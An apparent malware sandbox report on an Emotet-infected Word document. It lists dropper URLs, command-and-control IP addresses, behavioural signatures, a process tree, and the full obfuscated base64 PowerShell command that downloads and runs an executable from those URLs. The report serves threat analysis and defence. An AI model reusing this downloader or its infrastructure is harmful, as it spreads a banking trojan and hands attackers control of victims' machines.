Analysis

  • max time kernel
    138s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    04/09/2020, 03:51

General

  • Target
    BAL_OTX_090120_LIT_090420.doc
  • Size 191KB
  • Sample200904-9nw81rtetn
  • SHA256 d4e4779bc7a595b54aef09d0febad3b0412b7919c11c7d60fb1350f25f9d8731
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://homokfuvo.com/files/QSNUeuP/

  • exe.dropper

    http://gforcems.it/modules/B/

  • exe.dropper

    http://planodesaudetotal.com/erros/wUI/

  • exe.dropper

    http://rvad.com/img/K0YvsA/

  • exe.dropper

    http://vendasdesaude.com/erros/zyHmix/

  • exe.dropper

    https://scenic-heap.de/_private/ZZHi/

  • exe.dropper

    https://elektro-grell.de/cgi-bin/o8Xj1y/

Extracted

Family
  • emotet

C2
  • 192.158.216.73:80

  • 85.214.28.226:8080

  • 142.44.137.67:443

  • 162.241.242.173:8080

  • 85.152.162.105:80

  • 62.30.7.67:443

  • 78.24.219.147:8080

  • 74.120.55.163:80

  • 169.239.182.217:8080

  • 216.208.76.186:80

  • 95.213.236.64:8080

  • 200.114.213.233:8080

  • 104.131.44.150:8080

  • 70.121.172.89:80

  • 75.139.38.211:80

  • 185.94.252.104:443

  • 97.82.79.83:80

  • 103.86.49.11:8080

  • 79.98.24.39:8080

  • 83.169.36.251:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\BAL_OTX_090120_LIT_090420.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3488
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:2640
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABQAGwANgA0AHQAMABqAD0AKAAoACcAVgBlAHAAJwArACcAXwAnACkAKwAoACcAMABiACcAKwAnAHAAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AFUAcwBFAHIAcABSAG8AZgBpAGwAZQBcAHQAYQB5AFoAMwBsADYAXABvAG0AZgA0AEMAVgBZAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAGUAQwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AHIAaQBgAFQAWQBwAHIAYABPAGAAVABPAGMAbwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKQArACcALAAnACsAJwAgAHQAJwArACcAbAAnACsAJwBzADEAJwArACgAJwAxACwAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQAWQBxAHUAcgBkADUAcgAgAD0AIAAoACgAJwBVACcAKwAnAHcAeAAnACkAKwAoACcAeAAnACsAJwB1ADIANwAzACcAKQApADsAJABKADUAeQBlAHUAaABuAD0AKAAoACcAUAA3ACcAKwAnADMAJwApACsAKAAnAF8AJwArACcAegA5ADQAJwApACkAOwAkAEMAdQAyAG8AYQBrAG0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0AJwArACgAJwBUAGEAJwArACcAeQB6ADMAJwApACsAJwBsACcAKwAnADYAJwArACcAewAwAH0AJwArACgAJwBPACcAKwAnAG0AZgA0AGMAdgAnACsAJwB5ACcAKQArACcAewAwAH0AJwApACAAIAAtAEYAIAAgAFsAQwBIAEEAUgBdADkAMgApACsAJABZAHEAdQByAGQANQByACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABEADcAeQA3ADYAcQB0AD0AKAAoACcATgAnACsAJwBhAHEAMABhACcAKQArACcAcAAnACsAJwA2ACcAKQA7ACQARQBiAF8AOQBtAGsAbgA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AGUAQgBDAEwAaQBFAG4AVAA7ACQAVQBmAG8AbgBwAHMAdAA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAGgAbwAnACsAJwBtACcAKQArACgAJwBvAGsAZgB1ACcAKwAnAHYAJwArACcAbwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAvACcAKwAnAGYAaQAnACkAKwAoACcAbABlACcAKwAnAHMALwBRAFMAJwArACcATgBVAGUAJwApACsAKAAnAHUAUAAvACcAKwAnACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAJwBnAGYAJwArACcAbwByACcAKwAoACcAYwAnACsAJwBlAG0AcwAuACcAKwAnAGkAJwApACsAKAAnAHQALwBtACcAKwAnAG8AJwApACsAJwBkACcAKwAoACcAdQBsACcAKwAnAGUAcwAvAEIAJwApACsAKAAnAC8AKgBoAHQAJwArACcAdABwACcAKwAnADoALwAvACcAKwAnAHAAbABhAG4AbwAnACsAJwBkACcAKwAnAGUAcwAnACkAKwAoACcAYQB1ACcAKwAnAGQAJwArACcAZQB0AG8AdABhAGwALgBjAG8AJwArACcAbQAvACcAKwAnAGUAcgByACcAKQArACgAJwBvACcAKwAnAHMALwAnACkAKwAoACcAdwBVAEkAJwArACcALwAqACcAKQArACcAaAB0ACcAKwAnAHQAcAAnACsAJwA6AC8AJwArACcALwAnACsAKAAnAHIAdgAnACsAJwBhAGQALgAnACkAKwAnAGMAJwArACcAbwAnACsAJwBtACcAKwAoACcALwBpACcAKwAnAG0AZwAnACsAJwAvAEsAJwArACcAMABZAHYAcwBBACcAKwAnAC8AKgBoAHQAJwApACsAKAAnAHQAcAA6AC8ALwB2AGUAJwArACcAbgBkAGEAJwArACcAcwBkACcAKQArACcAZQBzACcAKwAnAGEAJwArACgAJwB1AGQAZQAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAvACcAKwAnAGUAcgByAG8AJwArACcAcwAvACcAKQArACcAegB5ACcAKwAnAEgAJwArACgAJwBtAGkAeAAvACcAKwAnACoAaAB0AHQAJwArACcAcAAnACsAJwBzADoALwAvACcAKwAnAHMAYwBlAG4AJwApACsAKAAnAGkAJwArACcAYwAnACsAJwAtAGgAZQBhAHAAJwApACsAKAAnAC4AJwArACcAZABlACcAKQArACcALwAnACsAKAAnAF8AJwArACcAcAByAGkAdgBhAHQAZQAnACsAJwAvACcAKwAnAFoAJwApACsAJwBaAEgAJwArACgAJwBpAC8AKgBoAHQAdABwACcAKwAnAHMAOgAnACkAKwAnAC8ALwAnACsAKAAnAGUAbAAnACsAJwBlAGsAdAAnACsAJwByAG8ALQAnACkAKwAoACcAZwByACcAKwAnAGUAbABsACcAKQArACgAJwAuACcAKwAnAGQAZQAvAGMAZwBpACcAKwAnAC0AYgAnACkAKwAoACcAaQAnACsAJwBuACcAKwAnAC8AbwA4AFgAJwApACsAKAAnAGoAJwArACcAMQB5AC8AJwApACkALgAiAHMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQgBjAGcAZQB3AG8AawA9ACgAJwBCAGgAJwArACgAJwBuAGcAJwArACcAeQB4ACcAKQArACcAZAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABMAGoAYwBvAHkAaQBxACAAaQBuACAAJABVAGYAbwBuAHAAcwB0ACkAewB0AHIAeQB7ACQARQBiAF8AOQBtAGsAbgAuACIAZABvAHcAbgBgAGwATwBhAGAAZABgAEYAaQBMAEUAIgAoACQATABqAGMAbwB5AGkAcQAsACAAJABDAHUAMgBvAGEAawBtACkAOwAkAFcAOABwADYAaQA3ADYAPQAoACgAJwBIADIAJwArACcAdwAnACkAKwAoACcAdAAyACcAKwAnAHAAMgAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABDAHUAMgBvAGEAawBtACkALgAiAGwAZQBgAE4ARwBUAEgAIgAgAC0AZwBlACAAMgAzADQAMwAwACkAIAB7ACYAKAAnAEkAbgB2AG8AJwArACcAawAnACsAJwBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAEMAdQAyAG8AYQBrAG0AKQA7ACQASQA4AHcAMwB5AGYAMgA9ACgAKAAnAFMANQB4AGMAJwArACcAbQAnACkAKwAnAGsAOAAnACkAOwBiAHIAZQBhAGsAOwAkAFUAZABlAF8AXwBpAGcAPQAoACgAJwBHACcAKwAnADUANgA0ACcAKQArACgAJwAyACcAKwAnAGgAeQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBnAG0AMQByADgAZwA9ACgAJwBSACcAKwAoACcAawB0AGMAJwArACcAaAA1ADAAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2612
    • C:\Users\Admin\Tayz3l6\Omf4cvy\Uwxxu273.exe
      "C:\Users\Admin\Tayz3l6\Omf4cvy\Uwxxu273.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2204
      • C:\Windows\SysWOW64\KBDHE319\mfcore.exe
        "C:\Windows\SysWOW64\KBDHE319\mfcore.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:500

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/500-20-0x0000000002110000-0x000000000211C000-memory.dmp

        memory/500-19-0x0000000002100000-0x000000000210E000-memory.dmp

        memory/2204-16-0x00000000022E0000-0x00000000022EC000-memory.dmp

        memory/2204-15-0x00000000022D0000-0x00000000022DE000-memory.dmp

        memory/2612-11-0x00000241AD470000-0x00000241AD471000-memory.dmp

        memory/2612-10-0x0000024194C60000-0x0000024194C61000-memory.dmp

        memory/2612-9-0x00007FFCC7980000-0x00007FFCC836C000-memory.dmp

        memory/3488-0-0x00007FFCCEBC0000-0x00007FFCCF286000-memory.dmp

        memory/3488-8-0x000001CB561EC000-0x000001CB561F7000-memory.dmp

        memory/3488-7-0x000001CB561EC000-0x000001CB561F7000-memory.dmp

        memory/3488-6-0x000001CB561EC000-0x000001CB561F7000-memory.dmp

        memory/3488-5-0x000001CB56698000-0x000001CB566B8000-memory.dmp